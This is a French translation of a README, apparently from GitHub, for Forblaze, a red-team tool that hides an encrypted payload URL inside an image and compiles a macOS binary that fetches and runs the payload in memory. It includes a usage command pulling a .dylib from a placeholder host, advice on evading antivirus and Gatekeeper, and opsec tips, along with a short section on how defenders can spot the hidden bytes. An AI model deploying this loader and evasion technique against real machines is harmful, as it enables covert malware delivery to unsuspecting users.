asaurusrex/forblazeForblaze - Un générateur de payload de stéganographie pour Mac en Python
Auteur : AsaurusRex
N'utilisez PAS ce projet à d'autres fins que des opérations légitimes de red teaming/pentesting ou de recherche. Ne l'utilisez PAS pour des activités illégales de quelque nature que ce soit, et sachez que ce projet est destiné à des fins de recherche et à aider à faire avancer les missions des équipes rouges et bleues.
Pour l'article de blog concernant Forblaze, consultez https://medium.com/@marcusthebrody/forblaze-a-mac-stego-payload-generator-aaa7e7775571
Forblaze est un projet conçu pour fournir des capacités de stéganographie aux charges utiles Mac OS. En utilisant python3, il construira pour vous un fichier Obj-C qui sera compilé pour extraire les URL chiffrées souhaitées du fichier stégo, récupérer les charges utiles via https et les exécuter directement en mémoire. Il utilise un chiffrement personnalisé - il n'est pas cryptographiquement sécurisé, mais sert uniquement à déjouer l'analyse par les moteurs antivirus. C'est une légère variante de mon chiffrement personnalisé précédemment construit pour Windows, appelé Rubicon, et plus simple en pratique. Forblaze utilise des octets d'en-tête et de fin pour identifier où se trouvent vos octets chiffrés dans le fichier stégo, puis les déchiffre avec une clé codée en dur dans compile_forblaze.m. Cette clé peut être sauvegardée et réutilisée, avec pour effet qu'une URL différente pourrait être utilisée pour récupérer une charge utile différente, et le même forblaze compilé devrait toujours pouvoir l'exécuter et la traiter (à condition que les octets d'en-tête et de fin ne soient pas modifiés, et que le nouveau fichier stégo soit téléchargé au bon endroit).
Python3 (testé uniquement avec Python3.9+), et certaines bibliothèques Python associées - pip3 devrait prendre en charge toutes les dépendances Python dont vous avez besoin. De plus, clang sera utilisé pour la compilation, et forblaze doit être exécuté sur un Mac afin que forblaze puisse être correctement compilé.
usage: forblaze_url.py [-h] [-innocent_path PATH] [-o OUTPUT] [-len_key LENGTH_OF_KEY] [-compile_file COMPILE_FILE] [-url_to_encrypt URL] [-supply_key SUPPLIED_KEY] [-stego_location STEGO_LOCATION] [-compiled_binary COMPILED_BINARY]
Générer un stégo pour les implants.
arguments optionnels :
-h, --help afficher ce message d'aide et quitter
-innocent_path PATH Fournir le chemin complet vers le fichier innocent à utiliser.
-o OUTPUT Fournir le chemin où vous souhaitez placer votre fichier stégo.
-len_key LENGTH_OF_KEY Fournir un entier positif qui sera la longueur de la clé en octets. La valeur par défaut est 16. Doit être compris entre 10 et 150 octets.
-url_to_encrypt URL Fournir l'URL que vous souhaitez intégrer dans le fichier de compilation.
-supply_key SUPPLIED_KEY Si vous souhaitez utiliser une clé spécifique, fournissez-la ici. Elle doit être au format : -supply_key "\x6e\x60\..." - c'est-à-dire qu'il faut deux doubles barres obliques inverses entre chaque octet, sinon cela NE FONCTIONNERA PAS.
-stego_location STEGO_LOCATION Vous devez fournir un emplacement sur la cible où le fichier stégo résidera. Il est conseillé de suivre des chemins complets stricts : /Users/<>/Documents/file.jpg par exemple.
-compiled_binary COMPILED_BINARY Donner le nom du binaire compilé pour extraire l'URL et exécuter le code en mémoire à partir du fichier stégo. La valeur par défaut est forblaze.
-method METHOD Sélectionner la méthode que vous souhaitez utiliser. La méthode 1 repose sur l'exécution d'un dylib directement en mémoire, et fonctionne avec les charges utiles Go ainsi qu'avec les charges utiles classiques. La méthode 2 repose sur l'exécution d'un fichier macho directement en mémoire, mais ne fonctionne pas avec les charges utiles compilées Go. La méthode 3 est la méthode 1 mais récupère la clé de déchiffrement via un serveur, ce qui est plus convivial pour l'opsec. La méthode par défaut est 1. NOTE : Vous devrez peut-être encore modifier le 'module' (alias RunMain) manuellement en fonction de votre méthode d'exécution !
-key_url KEY_URL Fournir l'URL de la clé pour déchiffrer le fichier stégo.
python3 forblaze_url.py -innocent_path Land-of-Belle.jpeg -o my_evil_pic.jpeg -len_key 24 -url_to_encrypt "https://your-example.com/test-payload.dylib" -method 1 -stego_location /tmp/my_not_evil_pic.jpeg -compiled_binary innocent_binary
Honnêtement, pas beaucoup. Les détections Mac OS sont encore assez médiocres, surtout pour l'activité en mémoire. En tant qu'exercice pour le lecteur, vous pourriez également appeler directement les octets de la charge utile plutôt qu'une URL avec quelques légères modifications de ce code. Cependant, selon la taille de votre charge utile, la partie chiffrement dans le script Python pourrait prendre un temps inacceptablement long.
Remarque : comme ce code compile en un binaire Mach-O (pas un dylib, même si cela peut être facilement modifié dans le code), des contrôles comme Gatekeeper l'empêcheront de s'exécuter par défaut, à moins que vous ne puissiez signer la charge utile ou supprimer l'attribut de quarantaine.
Je recommanderais de modifier des éléments comme le nombre d'octets aléatoires générés par défaut, et de changer les octets d'en-tête et de fin par défaut que forblaze utilise pour trouver la charge utile dans le fichier stégo (ainsi que la longueur de ces octets d'en-tête et de fin pour être peut-être plus discrets).
Pour la meilleure OpSec, je recommande de récupérer votre clé de déchiffrement depuis un serveur externe que vous contrôlez - vous pouvez alors contrôler strictement l'accès à cette clé, rendant la rétro-ingénierie beaucoup plus difficile.
La stéganographie est assez difficile à détecter. Si vous savez où se trouve le fichier stégo, vous pouvez commencer à extraire les octets suspects après la fin du fichier normal (donc après "FFD9" pour les jpeg par exemple). Ces octets suspects incluront toujours la charge utile chiffrée réelle et des octets aléatoires sans signification, qui seraient difficiles à distinguer les uns des autres à moins de posséder les octets d'en-tête et de fin spécifiés par Forblaze. Vous pourriez parcourir ces octets et chercher des motifs d'octets répétés, car c'est ainsi que fonctionnent les octets d'en-tête et de fin avec forblaze, mais un opérateur compétent pourrait rendre cela plus difficile à trouver que la valeur par défaut. Si une charge utile est interceptée, vous pourriez évidemment rétro-ingénierie le binaire et essayer de localiser le fichier stégo, puis essayer d'utiliser la clé codée en dur et les en-têtes/pieds de page pour inverser l'URL appelée (ou d'autres octets). Mais tout cela suppose que vous ayez trouvé le binaire par d'autres moyens.
Cet outil a été testé sur différentes versions de Mac OS, notamment Big Sur et Catalina (systèmes x64). Veuillez me faire savoir si vous rencontrez des problèmes.
Le chiffrement personnalisé est un chiffrement de César basique, où différents octets de la clé sont utilisés pour décaler les octets de vos données en clair. C'est pourquoi des clés plus grandes ne sont PAS NÉCESSAIREMENT meilleures pour votre chiffrement - cela dépend de la longueur de vos données en clair. Si vos données en clair font 50 octets et que vous utilisez une clé de 150 octets, seuls les 50 premiers octets de votre clé seront utilisés. Cependant, si vos données en clair font plus de 150 octets, les clés plus longues seraient plus sécurisées.
La stéganographie est assez simple : les octets de votre fichier innocent d'origine sont conservés tels quels, et des octets aléatoires (ainsi que vos octets de charge utile chiffrée) sont ajoutés après ces octets. Par défaut, ces octets aléatoires ont une longueur comprise entre 2 et 2000 (cela devrait probablement être modifié pour correspondre à la taille de vos données en clair -> des données en clair plus longues devraient générer plus d'octets aléatoires).
La partie d'exécution en mémoire suit https://blogs.blackberry.com/en/2017/02/running-executables-on-macos-from-memory, ainsi que le chargeur maisal (je ne trouve pas le lien pour le moment), avec le simple changement qu'au lieu de lire les octets de la charge utile depuis un fichier sur disque, ils sont lus via http/https.
Je suis très ouvert aux commentaires et à la collaboration ! J'espère que cela aidera à générer des discussions utiles autour du sujet de la crypto personnalisée, ou apportera de nouvelles perspectives aux chercheurs.